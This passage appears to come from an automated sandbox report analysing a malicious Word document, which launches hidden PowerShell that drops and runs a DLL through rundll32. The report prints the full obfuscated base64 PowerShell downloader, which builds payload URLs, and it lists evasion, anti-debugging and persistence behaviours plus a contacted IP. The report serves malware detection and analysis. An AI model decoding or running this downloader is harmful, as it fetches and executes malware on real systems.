nACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3AC
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3AC Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001D2D98 push 001D2E25h; ret 7_2_001D2E1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001D4038 push 001D4064h; ret 7_2_001D405C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001E0020 push 001E0058h; ret 7_2_001E0050
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001AA0B2 push 001AA0E0h; ret 7_2_001AA0D8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001AA0B4 push 001AA0E0h; ret 7_2_001AA0D8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001AB274 push 001AB2CDh; ret 7_2_001AB2C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001BC34C push 001BC378h; ret 7_2_001BC370
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001AE450 push ecx; mov dword ptr [esp], edx 7_2_001AE454
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001E0498 push 001E04EFh; ret 7_2_001E04E7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001E04F4 push 001E055Ch; ret 7_2_001E0554
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001DB588 push 001DB5CAh; ret 7_2_001DB5C2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001E0580 push 001E05ACh; ret 7_2_001E05A4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001E05B8 push 001E05E4h; ret 7_2_001E05DC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001AB5F8 push 001AB92Fh; ret 7_2_001AB927
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001E05F0 push 001E063Ch; ret 7_2_001E0634
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001E0654 push 001E0680h; ret 7_2_001E0678
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001AE696 push ecx; mov dword ptr [esp], edx 7_2_001AE69C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001E068C push 001E06B8h; ret 7_2_001E06B0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001AD6DC push 001AD751h; ret 7_2_001AD749
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001E06C4 push 001E06F0h; ret 7_2_001E06E8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001AE6F0 push ecx; mov dword ptr [esp], edx 7_2_001AE6F4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001AE750 push ecx; mov dword ptr [esp], edx 7_2_001AE754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001AD754 push 001AD7ADh; ret 7_2_001AD7A5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001A8748 push 001A8774h; ret 7_2_001A876C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001A8798 push 001A87C4h; ret 7_2_001A87BC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001E37A8 push 001E37E0h; ret 7_2_001E37D8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001E07E4 push 001E0827h; ret 7_2_001E081F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001C2834 push 001C2933h; ret 7_2_001C292B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001E0834 push 001E0860h; ret 7_2_001E0858
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001E3848 push 001E3874h; ret 7_2_001E386C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_001E086C push 001E0898h; ret 7_2_001E0890

Persistence and Installation Behavior:

barindex
Creates processes via WMI
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create
Drops PE files
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Kaktksw\An6othh\N49I.dll Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\SysWOW64\rundll32.exe PE file moved: C:\Windows\SysWOW64\Clrqippylzmyb\rtulziofetmo.zgb Jump to behavior

Hooking and other Techniques for Hiding and Protection:

barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Clrqippylzmyb\rtulziofetmo.zgb:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Dropped PE file which has not been started: C:\Users\user\Kaktksw\An6othh\N49I.dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2356 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00402577 FindFirstFileW, 10_2_00402577
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: powershell.exe, 00000005.00000002.2095857022.0000000000454000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00181D4D mov eax, dword ptr fs:[00000030h] 7_2_00181D4D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_003D12C1 mov eax, dword ptr fs:[00000030h] 7_2_003D12C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00281D4D mov eax, dword ptr fs:[00000030h] 8_2_00281D4D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001E12C1 mov eax, dword ptr fs:[00000030h] 8_2_001E12C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00401D4D mov eax, dword ptr fs:[00000030h] 9_2_00401D4D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_002112C1 mov eax, dword ptr fs:[00000030h] 9_2_002112C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00401D4D mov eax, dword ptr fs:[00000030h] 10_2_00401D4D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002312C1 mov eax, dword ptr fs:[00000030h] 10_2_002312C1
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory protected: page write copy | page execute | page execute read | page execute and read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 84.232.229.24 80 Jump to behavior
Encrypted powershell cmdline option found
